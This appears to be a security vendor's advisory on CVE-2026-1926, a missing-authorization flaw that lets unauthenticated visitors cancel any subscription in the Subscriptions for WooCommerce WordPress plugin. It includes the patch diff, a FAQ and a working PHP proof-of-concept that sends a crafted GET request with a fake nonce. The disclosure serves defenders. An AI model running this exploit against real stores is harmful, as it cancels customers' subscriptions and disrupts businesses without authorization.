Atomic Edge analysis of CVE-2026-1926:
The vulnerability originates from the `wps_sfw_admin_cancel_susbcription()` function in the Subscriptions for WooCommerce plugin. This function was registered to the `init` action hook without proper authentication or authorization checks. The function’s conditional check in versions <=1.9.2 only verified the presence and non-emptiness of the `_wpnonce` parameter via `isset()` and `!empty()`, but never validated the nonce with `wp_verify_nonce()`. This allowed unauthenticated attackers to send crafted GET requests to the site's root URL with the `wps_subscription_id` parameter containing any active subscription ID and an arbitrary nonce value. The function would then process the cancellation request. The attack vector requires no authentication and uses the site's frontend or backend root URL as the endpoint. The patch in version 1.9.3 addresses this by moving the hook registration from `init` to `admin_init`, adding a capability check with `current_user_can('manage_woocommerce')`, and implementing proper nonce verification using `wp_verify_nonce()` with the correct nonce parameter name `wps_sfw_cancel_nonce`. The same fix was applied to the related `wps_sfw_admin_reactivate_onhold_susbcription()` function. Successful exploitation allows attackers to cancel any active WooCommerce subscription, disrupting business operations and customer access to subscription services.

CVE-2026-1926: Subscriptions for WooCommerce <= 1.9.2 – Missing Authorization to Unauthenticated Arbitrary Subscription Cancellation (subscriptions-for-woocommerce)
CVE-2026-1926
1.9.2
1.9.3
Analysis Overview
Differential between vulnerable and patched code
--- a/subscriptions-for-woocommerce/admin/class-subscriptions-for-woocommerce-admin.php
+++ b/subscriptions-for-woocommerce/admin/class-subscriptions-for-woocommerce-admin.php
@@ -830,7 +830,8 @@
*/
public function wps_sfw_admin_cancel_susbcription() {
- if ( isset( $_GET['wps_subscription_status_admin'] ) && isset( $_GET['wps_subscription_id'] ) && isset( $_GET['_wpnonce'] ) && ! empty( $_GET['_wpnonce'] ) ) {
+ if ( isset( $_GET['wps_subscription_status_admin'] ) && isset( $_GET['wps_subscription_id'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['wps_sfw_cancel_nonce'] ) ), $_GET['wps_subscription_id'] . $_GET['wps_subscription_status_admin'] ) && current_user_can( 'manage_woocommerce' ) ) {
+
$wps_status = sanitize_text_field( wp_unslash( $_GET['wps_subscription_status_admin'] ) );
$wps_subscription_id = sanitize_text_field( wp_unslash( $_GET['wps_subscription_id'] ) );
if ( wps_sfw_check_valid_subscription( $wps_subscription_id ) ) {
@@ -1822,7 +1823,7 @@
*/
public function wps_sfw_admin_reactivate_onhold_susbcription() {
- if ( isset( $_GET['wps_subscription_status_admin_reactivate'] ) && isset( $_GET['wps_subscription_id'] ) && isset( $_GET['_wpnonce'] ) && ! empty( $_GET['_wpnonce'] ) ) {
+ if ( isset( $_GET['wps_subscription_status_admin_reactivate'] ) && isset( $_GET['wps_subscription_id'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['wps_sfw_pause_nonce'] ) ), $_GET['wps_subscription_id'] . $_GET['wps_subscription_status_admin_reactivate'] ) && current_user_can( 'manage_woocommerce' ) ) {
$wps_status = sanitize_text_field( wp_unslash( $_GET['wps_subscription_status_admin_reactivate'] ) );
$wps_subscription_id = sanitize_text_field( wp_unslash( $_GET['wps_subscription_id'] ) );
if ( wps_sfw_check_valid_subscription( $wps_subscription_id ) ) {
--- a/subscriptions-for-woocommerce/admin/partials/class-subscriptions-for-woocommerce-admin-subscription-list.php
+++ b/subscriptions-for-woocommerce/admin/partials/class-subscriptions-for-woocommerce-admin-subscription-list.php
@@ -77,9 +77,12 @@
array(
'wps_subscription_id' => $subscription_id,
'wps_subscription_status_admin' => $status,
+ 'wps_sfw_cancel_nonce' => wp_create_nonce( $subscription_id . $status ),
+
)
);
$wps_link = wp_nonce_url( $wps_link, $subscription_id . $status );
+
$actions = array(
'wps_sfw_cancel' => '<a href="' . $wps_link . '">' . __( 'Cancel', 'subscriptions-for-woocommerce' ) . '</a>',
);
@@ -98,6 +101,7 @@
array(
'wps_subscription_id' => $subscription_id,
'wps_subscription_status_admin_reactivate' => $status,
+ 'wps_sfw_pause_nonce' => wp_create_nonce( $subscription_id . $status ),
)
);
--- a/subscriptions-for-woocommerce/includes/class-subscriptions-for-woocommerce-scheduler.php
+++ b/subscriptions-for-woocommerce/includes/class-subscriptions-for-woocommerce-scheduler.php
@@ -871,7 +871,7 @@
$virtual_order = false;
foreach ( $wps_new_order->get_items() as $item ) {
$product = $item->get_product();
- if ( $product->is_virtual() || $product->is_downloadable() ) {
+ if ( $product && ( $product->is_virtual() || $product->is_downloadable() ) ) {
if ( 'mwb_booking' === $product->get_type() ) {
$virtual_order = false;
break;
--- a/subscriptions-for-woocommerce/includes/class-subscriptions-for-woocommerce.php
+++ b/subscriptions-for-woocommerce/includes/class-subscriptions-for-woocommerce.php
@@ -80,7 +80,7 @@
$this->version = SUBSCRIPTIONS_FOR_WOOCOMMERCE_VERSION;
} else {
- $this->version = '1.9.2';
+ $this->version = '1.9.3';
}
$this->plugin_name = 'subscriptions-for-woocommerce';
@@ -245,8 +245,8 @@
$this->loader->add_action( 'woocommerce_process_product_meta', $sfw_plugin_admin, 'wps_sfw_save_custom_product_fields_data_for_subscription', 10, 2 );
- $this->loader->add_action( 'init', $sfw_plugin_admin, 'wps_sfw_admin_cancel_susbcription', 99 );
- $this->loader->add_action( 'init', $sfw_plugin_admin, 'wps_sfw_admin_reactivate_onhold_susbcription', 99 );
+ $this->loader->add_action( 'admin_init', $sfw_plugin_admin, 'wps_sfw_admin_cancel_susbcription', 99 );
+ $this->loader->add_action( 'admin_init', $sfw_plugin_admin, 'wps_sfw_admin_reactivate_onhold_susbcription', 99 );
// WPLM Translation.
$this->loader->add_filter( 'wcml_js_lock_fields_ids', $sfw_plugin_admin, 'wps_sfw_add_lock_custom_fields_ids' );
--- a/subscriptions-for-woocommerce/includes/subscriptions-for-woocommerce-common-function.php
+++ b/subscriptions-for-woocommerce/includes/subscriptions-for-woocommerce-common-function.php
@@ -1016,7 +1016,7 @@
foreach ( $order->get_items() as $item_id => $item ) {
$attached_products = wc_get_order_item_meta( $item_id, 'wps_sfw_attached_products', true );
-
+ // print_r($attached_products);die('gghfgfgf');
if ( ! empty( $attached_products ) ) {
foreach ( $attached_products as $attached_product ) {
$product_id = $attached_product['product_id'];
@@ -1024,7 +1024,13 @@
// Add attached product as a new order item with WooCommerce functions.
$attached_item = new WC_Order_Item_Product();
- $attached_item->set_product_id( $product_id );
+ if ( $product && $product->is_type( 'variation' ) ) {
+ // If it's a variation, set the variation ID
+ $attached_item->set_variation_id( $product_id );
+ } else {
+ // If it's a simple product, set the simple product ID
+ $attached_item->set_product_id( $product_id );
+ }
$attached_item->set_name( $product->get_name() );
$attached_item->set_quantity( $attached_product['quantity'] );
$attached_item->set_subtotal( 0 );
--- a/subscriptions-for-woocommerce/public/class-subscriptions-for-woocommerce-public.php
+++ b/subscriptions-for-woocommerce/public/class-subscriptions-for-woocommerce-public.php
@@ -2578,6 +2578,7 @@
'order_item_type' => 'line_item', // product.
)
);
+ // print_r($items_value['product_id']);echo"<br>---------dfdffsdfsdfsdfsdfsd---------";
if ( $order_item_id ) {
// Provide its meta information.
wc_add_order_item_meta( $order_item_id, '_qty', $items_value['qty'], true ); // Quantity.
--- a/subscriptions-for-woocommerce/subscriptions-for-woocommerce.php
+++ b/subscriptions-for-woocommerce/subscriptions-for-woocommerce.php
@@ -15,7 +15,7 @@
* Plugin Name: Subscriptions For WooCommerce
* Plugin URI: https://wordpress.org/plugins/subscriptions-for-woocommerce/
* Description: <code><strong>Subscriptions for WooCommerce</strong></code> allow collecting repeated payments through subscriptions orders on the eCommerce store for both admin and users. <a target="_blank" href="https://wpswings.com/woocommerce-plugins/?utm_source=wpswings-subs-shop&utm_medium=subs-org-backend&utm_campaign=shop-page">Elevate your e-commerce store by exploring more on WP Swings</a>
- * Version: 1.9.2
+ * Version: 1.9.3
* Author: WP Swings
* Author URI: https://wpswings.com/?utm_source=wpswings-subs-official&utm_medium=subs-org-backend&utm_campaign=official
* Text Domain: subscriptions-for-woocommerce
@@ -23,9 +23,9 @@
* Requires Plugins: woocommerce
*
* Requires at least: 6.7.0
- * Tested up to: 6.9
+ * Tested up to: 6.9.1
* WC requires at least: 6.5.0
- * WC tested up to: 10.4.3
+ * WC tested up to: 10.5.2
*
* License: GNU General Public License v3.0
* License URI: http://www.gnu.org/licenses/gpl-3.0.html
@@ -179,7 +179,7 @@
*/
function define_subscriptions_for_woocommerce_constants() {
- subscriptions_for_woocommerce_constants( 'SUBSCRIPTIONS_FOR_WOOCOMMERCE_VERSION', '1.9.2' );
+ subscriptions_for_woocommerce_constants( 'SUBSCRIPTIONS_FOR_WOOCOMMERCE_VERSION', '1.9.3' );
subscriptions_for_woocommerce_constants( 'SUBSCRIPTIONS_FOR_WOOCOMMERCE_DIR_PATH', plugin_dir_path( __FILE__ ) );
subscriptions_for_woocommerce_constants( 'SUBSCRIPTIONS_FOR_WOOCOMMERCE_DIR_URL', plugin_dir_url( __FILE__ ) );
subscriptions_for_woocommerce_constants( 'SUBSCRIPTIONS_FOR_WOOCOMMERCE_SERVER_URL', 'https://wpswings.com' );
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1926 - Subscriptions for WooCommerce <= 1.9.2 - Missing Authorization to Unauthenticated Arbitrary Subscription Cancellation
<?php
/**
* Proof of Concept for CVE-2026-1926
* Unauthenticated Arbitrary Subscription Cancellation in Subscriptions for WooCommerce <= 1.9.2
*
* Usage: php poc.php --url=https://target.site --subscription-id=123
*
* The exploit sends a GET request to the target site with the required parameters.
* The vulnerability exists because the plugin only checks if the nonce parameter exists
* and is not empty, but never validates it with wp_verify_nonce().
* Any non-empty value for _wpnonce will pass the check.
*/
$target_url = 'https://target.site'; // Change this to the target WordPress site URL
$subscription_id = 123; // Change this to the target subscription ID
// Build the exploit URL with required parameters
$exploit_url = $target_url . '?' . http_build_query([
'wps_subscription_status_admin' => 'cancel',
'wps_subscription_id' => $subscription_id,
'_wpnonce' => 'arbitrary_nonce_value' // Any non-empty value works
]);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge CVE Research/1.0');
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check response
if ($http_code === 200) {
echo "[+] Request sent successfully. Check if subscription $subscription_id was cancelled.n";
echo "[+] Note: The plugin may redirect or return a blank page on success.n";
} else {
echo "[-] Request failed with HTTP code: $http_coden";
}
curl_close($ch);
?>
Frequently Asked Questions
What is CVE-2026-1926?
Overview of the vulnerabilityCVE-2026-1926 is a medium severity vulnerability in the Subscriptions for WooCommerce plugin for WordPress. It allows unauthenticated attackers to cancel any active WooCommerce subscription due to a missing authorization check in the `wps_sfw_admin_cancel_susbcription()` function.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises because the function responsible for canceling subscriptions does not properly verify user capabilities or nonce values. Attackers can send a crafted GET request to the site with an arbitrary subscription ID and a non-empty nonce, bypassing security checks.
Who is affected by CVE-2026-1926?
Identifying affected usersAny WordPress site using the Subscriptions for WooCommerce plugin version 1.9.2 or earlier is vulnerable. Administrators should check their plugin version and update if necessary to ensure security.
How can I check if my site is vulnerable?
Steps for verificationTo check if your site is vulnerable, verify the version of the Subscriptions for WooCommerce plugin installed. If it is version 1.9.2 or earlier, your site is at risk and should be updated immediately.
How can I fix the vulnerability?
Recommended actionsThe vulnerability is fixed in version 1.9.3 of the Subscriptions for WooCommerce plugin. Update your plugin to this version or later to mitigate the risk of unauthorized subscription cancellations.
What does the CVSS score of 5.3 indicate?
Understanding the severity ratingA CVSS score of 5.3 indicates a medium severity vulnerability. This means that while the risk is not critical, it is significant enough to warrant prompt attention and remediation to prevent potential exploitation.
What are the practical risks of this vulnerability?
Impact on operationsIf exploited, this vulnerability allows attackers to cancel any active subscriptions, which could disrupt business operations and lead to loss of revenue and customer trust. It is essential to address this vulnerability to maintain service integrity.
What is the proof of concept for this vulnerability?
Demonstrating the exploitThe proof of concept demonstrates how an attacker can send a crafted GET request to cancel a subscription without authentication. It highlights the lack of proper nonce validation and user capability checks, allowing the attack to succeed.
What changes were made in the patched version?
Improvements in securityIn version 1.9.3, the plugin was updated to include proper nonce verification using `wp_verify_nonce()` and moved the hook registration to `admin_init`. Additionally, it added a capability check to ensure only authorized users can cancel subscriptions.
How can I further secure my WordPress site?
Best practices for securityIn addition to updating vulnerable plugins, regularly audit your WordPress site for outdated themes and plugins, implement strong user access controls, and consider using security plugins that monitor for unauthorized changes and vulnerabilities.
Where can I find more information about CVE-2026-1926?
Resources for further readingMore information about CVE-2026-1926 can be found on the official CVE database and security advisory pages. Additionally, the plugin’s changelog and WordPress security forums may provide insights into the vulnerability and its resolution.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






